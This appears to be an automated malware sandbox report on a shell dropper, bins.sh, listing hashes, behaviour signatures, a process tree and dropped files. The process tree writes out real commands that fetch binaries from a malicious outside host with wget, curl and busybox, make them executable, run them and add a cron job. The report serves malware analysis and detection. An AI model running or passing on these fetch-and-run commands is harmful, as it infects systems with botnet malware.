Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240611-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    09-11-2024 04:20

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    e0e937bb99f87489de87877ed4f4ab32

  • SHA1

    74fc4c4763b0eb2c3fd6ae02b523d07265459f2d

  • SHA256

    bc293307089e34718c81627d4ffe57784dca24f2e79a453d04807a28dd9f84fc

  • SHA512

    ff4a387f24869f556779add942d1b65d76a3f6c0b54e26f66ce483821bcdbdd09f9e050ed5f5dcfed968bca6e098b5663536f595de4c447c31ce57da395f37fa

  • SSDEEP

    192:wjfmNFBfTom+NQs+IxUD3b90sPa2HPDxBHIjfmNFbwm+NQsheD3d0sPa2zPD1:wjfmNFBfTom+NQs+IxEVPDxBHIjfmNFJ

Malware Config

Signatures

  • Contacts a large (1514) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 9 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 27 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:707
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:711
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:714
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:732
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:734
        • /bin/chmod
          chmod 777 d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • File and Directory Permissions Modification
          PID:735
        • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          ./d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
          • Executes dropped EXE
          PID:736
        • /bin/rm
          rm d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR
          2⤵
            PID:738
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:739
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:740
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:742
          • /bin/chmod
            chmod 777 kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • File and Directory Permissions Modification
            PID:749
          • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            ./kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
            • Executes dropped EXE
            PID:751
          • /bin/rm
            rm kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU
            2⤵
              PID:754
            • /usr/bin/wget
              wget http://conn.masjesu.zip/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:755
            • /usr/bin/curl
              curl -O http://conn.masjesu.zip/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:766
            • /bin/busybox
              /bin/busybox wget http://conn.masjesu.zip/bins/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:787
            • /bin/chmod
              chmod 777 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • File and Directory Permissions Modification
              PID:794
            • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              ./4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
              • Executes dropped EXE
              PID:796
            • /bin/rm
              rm 4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM
              2⤵
                PID:798
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:799
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:801
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:803
              • /bin/chmod
                chmod 777 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • File and Directory Permissions Modification
                PID:804
              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                ./9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                • Executes dropped EXE
                PID:805
              • /bin/rm
                rm 9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi
                2⤵
                  PID:807
                • /usr/bin/wget
                  wget http://conn.masjesu.zip/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:808
                • /usr/bin/curl
                  curl -O http://conn.masjesu.zip/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Reads runtime system information
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:813
                • /bin/busybox
                  /bin/busybox wget http://conn.masjesu.zip/bins/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • System Network Configuration Discovery
                  • Writes file to tmp directory
                  PID:829
                • /bin/chmod
                  chmod 777 CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • File and Directory Permissions Modification
                  PID:836
                • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  ./CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                  • Executes dropped EXE
                  PID:837
                • /bin/rm
                  rm CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9
                  2⤵
                    PID:841
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:842
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:847
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:852
                  • /bin/chmod
                    chmod 777 NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • File and Directory Permissions Modification
                    PID:853
                  • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    ./NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                    • Executes dropped EXE
                    PID:854
                  • /bin/rm
                    rm NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V
                    2⤵
                      PID:856
                    • /usr/bin/wget
                      wget http://conn.masjesu.zip/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:857
                    • /usr/bin/curl
                      curl -O http://conn.masjesu.zip/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:858
                    • /bin/busybox
                      /bin/busybox wget http://conn.masjesu.zip/bins/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:860
                    • /bin/chmod
                      chmod 777 p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • File and Directory Permissions Modification
                      PID:861
                    • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      ./p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                      • Executes dropped EXE
                      PID:862
                    • /bin/rm
                      rm p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi
                      2⤵
                        PID:864
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:865
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Reads runtime system information
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:866
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:868
                      • /bin/chmod
                        chmod 777 ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • File and Directory Permissions Modification
                        PID:869
                      • /tmp/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        ./ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                        • Executes dropped EXE
                        PID:870
                      • /bin/rm
                        rm ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6
                        2⤵
                          PID:872
                        • /usr/bin/wget
                          wget http://conn.masjesu.zip/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:873
                        • /usr/bin/curl
                          curl -O http://conn.masjesu.zip/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:874
                        • /bin/busybox
                          /bin/busybox wget http://conn.masjesu.zip/bins/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • System Network Configuration Discovery
                          • Writes file to tmp directory
                          PID:876
                        • /bin/chmod
                          chmod 777 TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • File and Directory Permissions Modification
                          PID:877
                        • /tmp/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          ./TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                          2⤵
                          • Executes dropped EXE
                          • Renames itself
                          • Reads runtime system information
                          PID:878
                          • /bin/sh
                            sh -c "crontab -l"
                            3⤵
                              PID:880
                              • /usr/bin/crontab
                                crontab -l
                                4⤵
                                  PID:881
                              • /bin/sh
                                sh -c "crontab -"
                                3⤵
                                  PID:882
                                  • /usr/bin/crontab
                                    crontab -
                                    4⤵
                                    • Creates/modifies Cron job
                                    PID:883
                              • /bin/rm
                                rm TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E
                                2⤵
                                  PID:885
                                • /usr/bin/wget
                                  wget http://conn.masjesu.zip/bins/EQZjCawXEVoSKlQ3FE8BJZ0iqogW93LVLF
                                  2⤵
                                  • System Network Configuration Discovery
                                  PID:888

                              Network

                              MITRE ATT&CK Enterprise v15

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              • /tmp/4JoxfIeO6WB9x027oNzgA90Kg46F8ZH3AM

                                Filesize

                                107KB

                                MD5

                                eb9c3a0de91fcf16ba17cb24608df68c

                                SHA1

                                09d95a7d70d5e115d103be51edff7c498d272fac

                                SHA256

                                dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                SHA512

                                9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                              • /tmp/9GvhzIQ3zOEZGVNI7m4rMlISbw6TEfShJi

                                Filesize

                                117KB

                                MD5

                                849fa04ef88a8e8de32cb2e8538de5fe

                                SHA1

                                c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                SHA256

                                8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                SHA512

                                2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                              • /tmp/CdTuEyqkUiqrGOlP8P2AtJ5OFFh5s4F7J9

                                Filesize

                                99KB

                                MD5

                                9438d9bc392bcf300a5583b6df5bc8f6

                                SHA1

                                375a6ae34b516f6f3eeea8030c4084f585017efa

                                SHA256

                                68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                SHA512

                                1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                              • /tmp/NiaCXhT3ao3LG2ZEIBxopAUy9ovxxZQa6V

                                Filesize

                                119KB

                                MD5

                                1b166b95f9cb4b079ef1b9ec8363ddf3

                                SHA1

                                0d8eb08add467b3b5474f9b25909297fe7c2839c

                                SHA256

                                94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                SHA512

                                983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                              • /tmp/TbVmk5tonwQ9kLvWhJrFY8KSFOfEW7MB8E

                                Filesize

                                151KB

                                MD5

                                6c583043d91c55aa470c08c87058e917

                                SHA1

                                abf65a5b9bba69980278ad09356e53de8bb89439

                                SHA256

                                2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                SHA512

                                82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                              • /tmp/ZdYOkn0akHLaRq7AWoPMCE0AoqAQxBg7Z6

                                Filesize

                                141KB

                                MD5

                                3ca8decdb1e52c423c521bfff02ac200

                                SHA1

                                8621ecd6807109b8541912ad9e134f6fb49bfd48

                                SHA256

                                dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                SHA512

                                b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                              • /tmp/d7xECxY8vx7vNsyOodn9CCQcZxPDKdCQUR

                                Filesize

                                151KB

                                MD5

                                3c90d5820bddcf7c5d1bd21dfa49d958

                                SHA1

                                5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                SHA256

                                bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                SHA512

                                54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                              • /tmp/kLcZBrEdR419Qbm97mNOedgKCgCp2aQVIU

                                Filesize

                                122KB

                                MD5

                                cd3d4b9c643e5b473fb4d88ed05f0716

                                SHA1

                                64ee7a97418583d759eaea8000890cc3bae1b5f4

                                SHA256

                                0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                SHA512

                                164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                              • /tmp/p5soxVguHUbzXLXytYAhXpMczZCDyyeaNi

                                Filesize

                                177KB

                                MD5

                                786d75a158fe731feca3880f436082c0

                                SHA1

                                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                SHA256

                                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                SHA512

                                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                              • /var/spool/cron/crontabs/tmp.5wNtzw

                                Filesize

                                210B

                                MD5

                                158eaed4f7cfb673bf37889ffc35df18

                                SHA1

                                0acd859aecd467abf600bb6c6fe516a0570ff726

                                SHA256

                                4751357c3381b2f2ef957d5c569425d763017edcb7890ccae8784e31c19b9e34

                                SHA512

                                fc9b52947804427aadfa5b4ce3b9826ce71d435ee65709d2bb5528edac9847c3f744e231a815b072a02539a84b1b6d977930c275a5ac13aee9d2717857c5200a